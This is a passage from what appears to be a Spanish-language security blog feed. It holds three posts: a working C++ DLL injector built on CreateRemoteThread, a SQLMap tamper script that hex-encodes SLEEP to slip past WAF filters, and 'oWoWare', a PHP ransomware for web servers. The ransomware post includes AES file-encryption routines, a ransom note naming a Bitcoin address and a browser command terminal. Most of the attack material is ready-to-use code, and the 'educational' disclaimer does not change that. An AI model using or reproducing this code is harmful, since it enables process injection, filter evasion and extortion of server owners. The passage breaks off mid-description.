        std::cerr &amp;lt;&amp;lt; &quot;Failed to open target process.&quot; &amp;lt;&amp;lt; std::endl;
        return FALSE;
    }

    // Allocate memory in the target process for the DLL path
    LPVOID pRemotePath = VirtualAllocEx(hProcess, NULL, strlen(dllPath) + 1, MEM_COMMIT, PAGE_READWRITE);
    if (pRemotePath == NULL) {
        std::cerr &amp;lt;&amp;lt; &quot;Failed to allocate memory in target process.&quot; &amp;lt;&amp;lt; std::endl;
        CloseHandle(hProcess);
        return FALSE;
    }

    // Write the DLL path to the allocated memory
    if (!WriteProcessMemory(hProcess, pRemotePath, dllPath, strlen(dllPath) + 1, NULL)) {
        std::cerr &amp;lt;&amp;lt; &quot;Failed to write to target process memory.&quot; &amp;lt;&amp;lt; std::endl;
        VirtualFreeEx(hProcess, pRemotePath, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return FALSE;
    }

    // Get the address of LoadLibraryA in kernel32.dll
    LPVOID pLoadLibraryA = (LPVOID)GetProcAddress(GetModuleHandle(L&quot;kernel32.dll&quot;), &quot;LoadLibraryA&quot;);
    if (pLoadLibraryA == NULL) {
        std::cerr &amp;lt;&amp;lt; &quot;Failed to get address of LoadLibraryA.&quot; &amp;lt;&amp;lt; std::endl;
        VirtualFreeEx(hProcess, pRemotePath, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return FALSE;
    }

    // Create a remote thread in the target process that calls LoadLibraryA
    HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pLoadLibraryA, pRemotePath, 0, NULL);
    if (hThread == NULL) {
        std::cerr &amp;lt;&amp;lt; &quot;Failed to create remote thread in target process.&quot; &amp;lt;&amp;lt; std::endl;
        VirtualFreeEx(hProcess, pRemotePath, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return FALSE;
    }

    // Wait for the remote thread to finish
    WaitForSingleObject(hThread, INFINITE);

    // Clean up
    VirtualFreeEx(hProcess, pRemotePath, 0, MEM_RELEASE);
    CloseHandle(hThread);
    CloseHandle(hProcess);

    return TRUE;
}

int main() {
    DWORD pid;
    char dllPath[MAX_PATH];

    std::cout &amp;lt;&amp;lt; &quot;Enter the PID of the target process: &quot;;
    std::cin &amp;gt;&amp;gt; pid;

    std::cout &amp;lt;&amp;lt; &quot;Enter the full path of the DLL to inject: &quot;;
    std::cin &amp;gt;&amp;gt; dllPath;

    if (InjectDLL(pid, dllPath)) {
        std::cout &amp;lt;&amp;lt; &quot;DLL injection succeeded.&quot; &amp;lt;&amp;lt; std::endl;
    } else {
        std::cout &amp;lt;&amp;lt; &quot;DLL injection failed.&quot; &amp;lt;&amp;lt; std::endl;
    }

    return 0;
}

&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Pasos para Ejecutar el Ejemplo&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Compila la DLL: Usa un compilador como Visual Studio para compilar ejemplo.cpp ---&amp;gt; ejemplo.dll&lt;/li&gt;
&lt;li&gt;Compila el inyector: Compilar injector.cpp en un ejecutable inyector.cpp ---&amp;gt; inyector.exe&lt;/li&gt;
&lt;li&gt;Ejecuta el Inyector:
&lt;ul&gt;
&lt;li&gt;Ejecuta el proceso objetivo en el que deseas inyectar la DLL.&lt;/li&gt;
&lt;li&gt;Ejecuta el inyector (inyector.exe) y proporciona el PID del proceso objetivo y la ruta completa a example.dll.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Ejemplo practico&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;Enter the PID of the target process: 1234
Enter the full path of the DLL to inject: C:\path\to\ejemplo.dll
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Si el inyector tiene éxito, verás el mensaje &quot;DLL injection succeeded.&quot; en la consola del inyector y un cuadro de mensaje&quot;DLL injection failed.&quot;.&lt;/p&gt;
&lt;p&gt;Una vez que se ejecute el inyector de DLL, el flujo de eventos sería el siguiente:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; +---------------------------------------------------------+
 | Apertura del Proceso Objetivo                           |
 |---------------------------------------------------------|
 | El inyector abre el proceso objetivo utilizando         |
 | la función OpenProcess. Si tiene éxito, obtiene         |
 | un handle al proceso.                                   |
 +-------------------------------+-------------------------+
                                 |
 +-------------------------------v-------------------------+
 | Asignación de Memoria en el Proceso Objetivo            |
 |---------------------------------------------------------|
 | El inyector asigna memoria en el espacio de             |
 | direcciones del proceso objetivo utilizando             |
 | VirtualAllocEx. Esta memoria será utilizada             |
 | para almacenar la ruta de la DLL que se va a inyectar.  |
 +-------------------------------+-------------------------+
                                 |
 +-------------------------------v-------------------------+
 | Escritura de la Ruta de la DLL en la Memoria Asignada   |
 |---------------------------------------------------------|
 | El inyector escribe la ruta completa de la DLL en       |
 | la memoria asignada del proceso objetivo utilizando     |
 | WriteProcessMemory.                                     |
 +-------------------------------+-------------------------+
                                 |
 +-------------------------------v-------------------------+
 | Obtención de la Dirección de LoadLibraryA               |
 |---------------------------------------------------------|
 | El inyector obtiene la dirección de la función          |
 | LoadLibraryA en kernel32.dll. Esta función se           |
 | utilizará para cargar la DLL en el proceso objetivo.    |
 +-------------------------------+-------------------------+
                                 |
 +-------------------------------v-------------------------+
 | Creación de un Hilo Remoto                              |
 |---------------------------------------------------------|
 | El inyector crea un hilo remoto en el proceso           |
 | objetivo utilizando CreateRemoteThread. Este hilo       |
 | ejecuta la función LoadLibraryA con la ruta de          |
 | la DLL como argumento.                                  |
 +-------------------------------+-------------------------+
                                 |
 +-------------------------------v-------------------------+
 | Carga de la DLL                                         |
 |---------------------------------------------------------|
 | La función LoadLibraryA en el hilo remoto carga         |
 | la DLL en el espacio de direcciones del proceso         |
 | objetivo. Esto ejecuta el código de la función          |
 | DllMain de la DLL.                                      |
 +-------------------------------+-------------------------+
                                 |
 +-------------------------------v-------------------------+
 | Mensaje de Éxito                                        |
 |---------------------------------------------------------|
 | Si la DLL se ha cargado correctamente y se ha ejecutado |
 | su DllMain, el código de la DLL puede realizar acciones |
 | adicionales, como mostrar un mensaje. En el ejemplo     |
 | proporcionado, la DLL muestra un mensaje con MessageBox |
 | cuando se inyecta.                                      |
 +-------------------------------+-------------------------+
                                 |
 +-------------------------------v-------------------------+
 | Limpieza                                                |
 |---------------------------------------------------------|
 | El inyector espera a que el hilo remoto termine y luego |
 | libera la memoria asignada en el proceso objetivo.      |
 | Finalmente, cierra los handles abiertos.                |
 +---------------------------------------------------------+&lt;/code&gt;&lt;/pre&gt;
</content:encoded><author>Omar Salazar</author></item><item><title>Cómo Crear un Tamper Personalizado para SQLMap</title><link>https://xfomar.com/posts/creando-tamper-sqlmap1</link><guid isPermaLink="true">https://xfomar.com/posts/creando-tamper-sqlmap1</guid><description>Guía, para crear un tamper personalizado para SQLMap con el objetivo de evadir restricciones de seguridad o sistemas WAF (Web Application Firewall).</description><pubDate>Fri, 03 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;En esta pequeña guía vamos a ver cómo podemos crear un &lt;strong&gt;tamper&lt;/strong&gt; personalizado para una de las herramientas más usadas en inyecciones de SQLi, &lt;strong&gt;SQLMap&lt;/strong&gt;. En el ejemplo planteamos un escenario para &quot;evadir&quot; filtros de seguridad avanzados (WAF) que buscan patrones específicos en los payloads de inyección SQL, utilizando un payload de tipo &lt;code&gt;SLEEP&lt;/code&gt;. Este payload introduce un retraso temporal en la respuesta del servidor para identificar vulnerabilidades de inyección SQL ciega basadas en tiempo.&lt;/p&gt;
&lt;h2&gt;Introducción&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;SQLMap&lt;/strong&gt; es una de las herramientas más poderosas y usadas para automatizadar, detectar y explotar vulnerabilidades de inyección SQL en aplicativos web. Sin embargo, muchas aplicaciones modernas ahora utilizan  filtros avanzados que buscan bloquear patrones específicos en los payloads usados para realizar inyección SQL, lo que puede dificultar o impedir que SQLMap avance durante la explotación de dicha vulnerabilidad.&lt;/p&gt;
&lt;p&gt;Para tener una oportunidad de saltar o evadir estas barreras, se utilizan &lt;strong&gt;tampers&lt;/strong&gt;, que son scripts personalizados que modifican los payloads antes de enviarlos al servidor el mismo SQLMap posee algunos. Es aqui donde nos vamos a enfocar, vamos crear un tamper que obfusque la palabra clave &lt;code&gt;SLEEP&lt;/code&gt;, utilizada en payloads de inyección SQL ciegas basadas en tiempo, para tratar de evadir los filtros que detectan y bloquean esta palabra clave.&lt;/p&gt;
&lt;h2&gt;Descripción del Escenario&lt;/h2&gt;
&lt;p&gt;Vamos a imaginar que estamos realizando una prueba en una aplicación web que tiene un parámetro vulnerable para inyección SQL. Para determinar si existe vulnerabilidad, decidimos utilizar un payload de tipo &lt;code&gt;SLEEP&lt;/code&gt;, el cual introduce un retraso en la respuesta del servidor, lo que te permite inferir si la inyección SQL es exitosa en el tiempo de respuesta del servidor.&lt;/p&gt;
&lt;h3&gt;Payload Estándar&lt;/h3&gt;
&lt;p&gt;Un payload estándar para este propósito podría ser:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1&apos; AND SLEEP(5) --
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;El payload va intentar introducir un retraso de 5 segundos en la respuesta del servidor si la inyección SQL es exitosa.&lt;/p&gt;
&lt;h3&gt;Problema&lt;/h3&gt;
&lt;p&gt;El aplicativo web utiliza filtros de seguridad que detectan y bloquean payloads que contienen la palabra clave específica como &lt;code&gt;SLEEP&lt;/code&gt;. Lo que significaría que el payload anterior será bloqueado, impidiendo que SQLMap realice la prueba de inyección SQL.&lt;/p&gt;
&lt;h3&gt;Solución&lt;/h3&gt;
&lt;p&gt;Para tratar de evadir este filtro, tenemos que modificar el payload estándar de manera que la palabra clave &lt;code&gt;SLEEP&lt;/code&gt; no sea reconocida por el filtro, pero al mismo tiempo mantenga su funcionalidad en la inyección SQL. Esto lo podemos lograr mediante el uso de un &lt;strong&gt;tamper&lt;/strong&gt; que ofusca la palabra clave utilizando técnicas como la codificación hexadecimal.&lt;/p&gt;
&lt;h2&gt;Creación del tamper&lt;/h2&gt;
&lt;p&gt;Vamos a desarrollar un &lt;strong&gt;tamper&lt;/strong&gt; en Python que codifica la palabra clave &lt;code&gt;SLEEP&lt;/code&gt; usando una representación hexadecimal, para lograr evadir filtros de manera efectiva que buscan esta palabra clave específica durante la inyección SQL.&lt;/p&gt;
&lt;h3&gt;Paso 1: Configuración Inicial&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Entorno de Trabajo&lt;/strong&gt;: Nos aseguramos de que &lt;strong&gt;SQLMap&lt;/strong&gt; este descargado y un entorno de desarrollo Python bien configurado.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Directorio del tamper&lt;/strong&gt;: Vamos a crear un directorio dedicado para guardar tus tampers si aún no lo tienes. Por ejemplo:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mkdir -p ~/SQLMap/misTamper
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Archivo &lt;code&gt;__init__.py&lt;/code&gt;&lt;/strong&gt;: Dentro del directorio, creamos un archivo vacío llamado &lt;code&gt;__init__.py&lt;/code&gt;, esto nos servirá para que Python reconozca el directorio como un paquete.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;touch ~~/SQLMap/misTamper__init__.py
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Paso 2: Desarrollo del Script&lt;/h3&gt;
&lt;p&gt;Creamos un archivo llamado &lt;code&gt;sleep_tamper.py&lt;/code&gt; dentro del directorio de misTamper el cual lo creamos previamente, establecemos la prioridad del script en &lt;code&gt;PRIORITY.NORMAL&lt;/code&gt;. Esto es para no romper la lógica de ejecución de SQLMap, ya que la herramienta prioriza otras funciones.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from lib.core.enums import PRIORITY
import re

__priority__ = PRIORITY.NORMAL
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Definimos la función &lt;code&gt;hex_encode&lt;/code&gt;, la cual toma una cadena de texto como entrada y devuelve su representación en código hexadecimal &lt;code&gt;URL-encoded&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;    def hex_encode(text):    
    return &apos;&apos;.join([&apos;%{:02X}&apos;.format(ord(c)) for c in text])
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Por último, definimos la función &lt;code&gt;tamper&lt;/code&gt;, donde va toda la lógica de nuestro script, ofuscando la palabra clave &lt;code&gt;SLEEP&lt;/code&gt; en una cadena (payload) usando la función &lt;code&gt;hex_encode&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def tamper(payload, **kwargs):

    keywords = [&apos;SLEEP&apos;]

    for word in keywords:
        pattern = re.compile(re.escape(word), re.IGNORECASE)
        payload = pattern.sub(lambda match: hex_encode(match.group()), payload)
    
    return payload
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Tomando toda la estructura de nuestro script, logramos ofuscar la palabra clave &lt;code&gt;SLEEP&lt;/code&gt; mediante la conversión a una representación hexadecimal para evadir filtros o detección. Mientras, la función &lt;code&gt;hex_encode&lt;/code&gt; convierte texto a su representación hexadecimal &lt;code&gt;URL-encoded&lt;/code&gt;, y la función &lt;code&gt;tamper&lt;/code&gt; utiliza expresiones regulares para buscar palabras clave en un texto y codificarlas en hexadecimal.&lt;/p&gt;
&lt;p&gt;El tamper completo quedaría de la siguiente manera.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python
from lib.core.enums import PRIORITY
import re

__priority__ = PRIORITY.NORMAL

def hex_encode(text):
    &quot;&quot;&quot;
    Convierte una cadena de texto en su representación hexadecimal URL-encoded.
    
    Ejemplo:
    &amp;gt;&amp;gt;&amp;gt; hex_encode(&quot;SLEEP&quot;)
    &apos;%53%4C%45%45%50&apos;
    &quot;&quot;&quot;
    return &apos;&apos;.join([&apos;%{:02X}&apos;.format(ord(c)) for c in text])

def tamper(payload, **kwargs):
    &quot;&quot;&quot;
    Obfusca la palabra clave SLEEP utilizando codificación hexadecimal para evadir filtros de detección.
    
    &amp;gt;&amp;gt;&amp;gt; tamper(&quot;SLEEP(5)&quot;)
    &quot;%53%4C%45%45%50(5)&quot;
    &quot;&quot;&quot;
    # Definir las palabras clave a codificar
    keywords = [&apos;SLEEP&apos;]

    # Utilizar expresiones regulares para reemplazar las palabras clave
    for word in keywords:
        pattern = re.compile(re.escape(word), re.IGNORECASE)
        payload = pattern.sub(lambda match: hex_encode(match.group()), payload)
    
    return payload
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Implementación y Uso&lt;/h3&gt;
&lt;p&gt;Con nuestro nuevo tamper creado, ahora podemos utilizarlo en &lt;strong&gt;SQLMap&lt;/strong&gt; para evadir el filtro que bloquea la palabra clave &lt;code&gt;SLEEP&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;Ejecución de SQLMap con Nuestro Tamper&lt;/h3&gt;
&lt;p&gt;Ejecutamos el siguiente comando en la terminal, reemplazando &lt;code&gt;https://ejemplo.com/?id=vuln&lt;/code&gt; con la URL de tu objetivo y el &lt;code&gt;id&lt;/code&gt; con el parámetro vulnerable.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;SQLMap -u &quot;https://ejemplo.com/?id=vuln&quot; -p id --tamper=sleep_tamper.py --technique=T --time-sec=5 -v3
 
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Desglose del Comando&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-u&lt;/code&gt;: Especifica la URL objetivo.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-p&lt;/code&gt;: Indica el parámetro vulnerable.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--tamper&lt;/code&gt;: Indica el tamper a utilizar (&lt;code&gt;sleep_tamper.py&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--technique=T&lt;/code&gt;: Especifica la técnica de inyección SQL ciega basada en tiempo.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--time-sec=5&lt;/code&gt;: Define el tiempo de espera en segundos para detectar retrasos.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-v3&lt;/code&gt;: Aumenta el nivel de verbosidad para monitorear los payloads enviados.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Verificación de la Evasión Parámetro v3&lt;/h3&gt;
&lt;p&gt;Para verificar que el &lt;code&gt;tamper&lt;/code&gt; está realizando su función correctamente, podemos aumentar el nivel de verbosidad (&lt;code&gt;-v3&lt;/code&gt;) y observar los payloads que SQLMap está enviando. Deberíamos poder observar que la palabra clave &lt;code&gt;SLEEP&lt;/code&gt; está siendo reemplazada por su versión codificada en hexadecimal &lt;code&gt;%53%4C%45%45%50(5)&lt;/code&gt;.&lt;/p&gt;
&lt;h4&gt;Ejemplo de Salida&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;[20:45:12] [INFO] testing &apos;AND SLEEP(5)&apos;
[20:45:12] [PAYLOAD] AND %53%4C%45%45%50(5)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;En el ejemplo de salida el payload original &lt;code&gt;AND SLEEP(5)&lt;/code&gt; ha sido modificado a &lt;code&gt;AND %53%4C%45%45%50(5)&lt;/code&gt;, lo que indica que el tamper ha funcionado correctamente.&lt;/p&gt;
&lt;h3&gt;Prueba de Funcionamiento&lt;/h3&gt;
&lt;p&gt;Al ejecutar el comando, SQLMap intentará inyectar el payload ofuscado del &lt;code&gt;tamper&lt;/code&gt; creado. Si la inyección SQL es exitosa, deberíamos notar un retraso en la respuesta del servidor de aproximadamente 5 segundos.&lt;/p&gt;
&lt;h2&gt;Conclusión del Proceso&lt;/h2&gt;
&lt;p&gt;El desarrollo de &lt;strong&gt;tampers&lt;/strong&gt; personalizados es una técnica efectiva cuando nos enfrentamos a entornos con mecanismos de seguridad que usan algún tipo de filtro.&lt;/p&gt;
&lt;p&gt;Esta guía puede aplicarse a otras palabras clave y técnicas de ofuscación; esto depende de las necesidades específicas y de la prueba de penetración a la que nos estemos enfrentando. La comprensión y capacidad para personalizar &lt;code&gt;tampers&lt;/code&gt; de SQLMap nos ayudaria significativamente la efectividad y explotación de vulnerabilidades.&lt;/p&gt;
&lt;h2&gt;Referencias&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://SQLMap.org/&quot;&gt;SQLMap Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://owasp.org/www-community/attacks/SQL_Injection&quot;&gt;OWASP SQL Injection&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.acunetix.com/websitesecurity/blind-SQL-injection/&quot;&gt;Understanding Blind SQL Injection&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>Omar Salazar</author></item><item><title>Ransomware Dedicado a Servidores Web</title><link>https://xfomar.com/posts/owoware-ransomware-php1</link><guid isPermaLink="true">https://xfomar.com/posts/owoware-ransomware-php1</guid><description>Prueba de concepto de la simulación de un ransomware dirigido a servidores web</description><pubDate>Sat, 04 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h4&gt;Nota Importante&lt;/h4&gt;
&lt;blockquote&gt;
&lt;p&gt;oWoWare ransomware desarrollado con fines educativos, simulación y demostración de ataques.&amp;lt;br&amp;gt;
&lt;strong&gt;El autor&lt;/strong&gt; no se hace &lt;strong&gt;responsable&lt;/strong&gt; del mal uso de la misma.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;oWoWare&lt;/strong&gt; es un ransomware enfocado en servidores web, desarrollado en PHP. Proporciona una interfaz segura para la administración de la herramienta y la ejecución de comandos en la terminal. Con funcionalidades de cifrado y descifrado de archivos usando &lt;code&gt;AES-256-CBC (Cipher Block Chaining con una clave de 256 bits)&lt;/code&gt;, así como una terminal integrada, &lt;strong&gt;oWoWare&lt;/strong&gt; está diseñado para realizar pruebas técnicas y de concientización sobre la protección ante ataques tipo ransomware.&lt;/p&gt;
&lt;h2&gt;POC Completo Video&lt;/h2&gt;
&lt;p&gt;{{&amp;lt; youtube 7Msibaqlpwc &amp;gt;}}&lt;/p&gt;
&lt;h2&gt;Descripción&lt;/h2&gt;
&lt;h3&gt;1. &lt;strong&gt;Cifrado de archivos:&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Tipo de cifrado usado&lt;/strong&gt;:
&lt;ul&gt;
&lt;li&gt;Se utiliza &lt;strong&gt;AES-256-CBC&lt;/strong&gt; (Cipher Block Chaining con una clave de 256 bits), que es un algoritmo de cifrado simétrico.&lt;/li&gt;
&lt;li&gt;La clave de cifrado debe tener al menos 32 caracteres para garantizar la seguridad en este modo.&lt;/li&gt;
&lt;li&gt;El código también genera un &lt;strong&gt;IV (Vector de Inicialización)&lt;/strong&gt; usando &lt;code&gt;openssl_random_pseudo_bytes()&lt;/code&gt; que se concatena al contenido cifrado y se almacena junto al archivo.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;$iv_length = openssl_cipher_iv_length(&apos;AES-256-CBC&apos;);
$iv = openssl_random_pseudo_bytes($iv_length);

$encrypted_contents = openssl_encrypt($file_contents, &apos;AES-256-CBC&apos;, $key, OPENSSL_RAW_DATA, $iv);
$final_content = $iv . $encrypted_contents;
file_put_contents($file_path, $final_content);
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Proceso de cifrado&lt;/strong&gt;:
&lt;ul&gt;
&lt;li&gt;Cada archivo en el directorio especificado es cifrado, omitiendo archivos llamados &lt;code&gt;index.html&lt;/code&gt; o &lt;code&gt;index.php&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;El contenido cifrado incluye el &lt;em&gt;&lt;strong&gt;IV&lt;/strong&gt;&lt;/em&gt; y el contenido cifrado concatenados. Este contenido cifrado reemplaza el archivo original.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;function encrypt_directory($target_dir, $key, &amp;amp;$processed_files, &amp;amp;$error_files) {
    // Iterar sobre los archivos y subdirectorios
    foreach ($iterator as $item) {
        if ($item-&amp;gt;isFile()) {
            // Cifrado del contenido del archivo
            $iv = openssl_random_pseudo_bytes($iv_length);
            $encrypted_contents = openssl_encrypt($file_contents, &apos;AES-256-CBC&apos;, $key, OPENSSL_RAW_DATA, $iv);
            $final_content = $iv . $encrypted_contents;
            file_put_contents($file_path, $final_content);
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Manejo de errores&lt;/strong&gt;:
&lt;ul&gt;
&lt;li&gt;El código maneja errores en la lectura de archivos, en la generación del IV, el proceso de cifrado, y la escritura de los archivos cifrados.&lt;/li&gt;
&lt;li&gt;Los errores se almacenan en un arreglo &lt;code&gt;$error_files&lt;/code&gt;, y los archivos procesados con éxito se listan en &lt;code&gt;$processed_files&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;2. &lt;strong&gt;Descifrado de archivos:&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Proceso de descifrado&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;El &lt;em&gt;&lt;strong&gt;IV&lt;/strong&gt;&lt;/em&gt; se extrae del contenido cifrado y se usa para descifrar los archivos utilizando la misma clave simétrica &lt;code&gt;(AES-256-CBC)&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Los archivos descifrados se reescriben con el contenido original, restaurando el archivo.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Manejo de errores&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Los errores en la lectura, descifrado y escritura de archivos se manejan de forma similar al proceso de cifrado.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;     function decrypt_directory($target_dir, $key, &amp;amp;$processed_files, &amp;amp;$error_files) {
    foreach ($iterator as $item) {
        if ($item-&amp;gt;isFile()) {
            $iv = substr($file_contents, 0, $iv_length);
            $encrypted_contents = substr($file_contents, $iv_length);
            $decrypted_contents = openssl_decrypt($encrypted_contents, &apos;AES-256-CBC&apos;, $key, OPENSSL_RAW_DATA, $iv);
            file_put_contents($file_path, $decrypted_contents);
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;3. &lt;strong&gt;Manejo del Login y Seguridad:&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Autenticación&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;El sistema de login compara un nombre de usuario predefinido (&lt;code&gt;admin&lt;/code&gt;) y una contraseña almacenada como un &lt;strong&gt;hash bcrypt&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;El hash almacenado utiliza bcrypt con un costo de trabajo de 15, lo que garantiza que los intentos de fuerza bruta sean lentos.&lt;/li&gt;
&lt;li&gt;Se protege contra ataques de fuerza bruta al limitar los intentos de inicio de sesión a 5 fallidos antes de bloquear al usuario por 15 minutos.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Tokens CSRF (Cross-Site Request Forgery)&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Para proteger contra ataques CSRF, se genera y valida un token CSRF en cada solicitud POST.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Regeneración de ID de sesión&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Una vez que el usuario se autentica con éxito, se genera una nueva sesión con &lt;code&gt;session_regenerate_id(true)&lt;/code&gt; para evitar ataques de fijación de sesión.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;     define(&apos;USERNAME&apos;, &apos;admin&apos;);
define(&apos;PASSWORD_HASH&apos;, &apos;$2a$15$xEbegd2Cf26u2/2dw4LLXu0uJbqifWGFWXXh0gBkTDoImJOCJ5Ogu&apos;);

if ($username === USERNAME &amp;amp;&amp;amp; password_verify($password, PASSWORD_HASH)) {
    session_regenerate_id(true);
    $_SESSION[&apos;authenticated&apos;] = true;
    $_SESSION[&apos;login_attempts&apos;] = 0;
    unset($_SESSION[&apos;locked_until&apos;]);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;4. &lt;strong&gt;Cifrado de Archivos según Directorio:&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;El usuario puede especificar un directorio para cifrar o descifrar sus archivos. La ruta del directorio se valida antes de proceder.&lt;/li&gt;
&lt;li&gt;El código utiliza &lt;code&gt;RecursiveDirectoryIterator&lt;/code&gt; y &lt;code&gt;RecursiveIteratorIterator&lt;/code&gt; para iterar sobre los archivos y directorios dentro del directorio objetivo.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;5. &lt;strong&gt;Archivos creados al cifrar el directorio&lt;/strong&gt;:&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Archivos &lt;code&gt;index.html&lt;/code&gt; o &lt;code&gt;index.php&lt;/code&gt;&lt;/strong&gt;:
&lt;ul&gt;
&lt;li&gt;Se genera o actualiza un archivo &lt;code&gt;index.php&lt;/code&gt; o &lt;code&gt;index.html&lt;/code&gt; en cada directorio cifrado con un mensaje indicando que los archivos han sido cifrados.&lt;/li&gt;
&lt;li&gt;El contenido del archivo incluye un mensaje que simula un ataque de ransomware, pidiendo $600 en Bitcoin a una dirección específica.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;function create_index_file($dir_path, &amp;amp;$error_files) {
    $content = &quot;
&amp;lt;pre&amp;gt;&amp;lt;center&amp;gt;&amp;lt;b&amp;gt;
         __      ____      __     
        / /     / __ \     \ \    
       / / ___ | |  | | ___ \ \   
      &amp;gt; / / _ \| |  | |/ _ \ &amp;gt; \  
     / ^ ( (_) )\ \/ /( (_) ) ^ \ 
    /_/ \_\___(___||___)___/_/ \_\
                     oWoWare V.1.0
&amp;lt;h2&amp;gt;Ooops, your files have been encrypted!&amp;lt;/h2&amp;gt;
Send $600 worth of bitcoin to this address:
bc1qar0srrr7xfkvy5l643lydnw9re59gtzzwf8ch7
&amp;lt;/pre&amp;gt;&amp;lt;/center&amp;gt;&amp;lt;/b&amp;gt;&quot;;
    file_put_contents($index_file, $content);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;6. &lt;strong&gt;Funcionalidad de la Terminal Integrada&lt;/strong&gt;:&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;El sistema tiene una terminal integrada que permite ejecutar comandos desde el navegador.&lt;/li&gt;
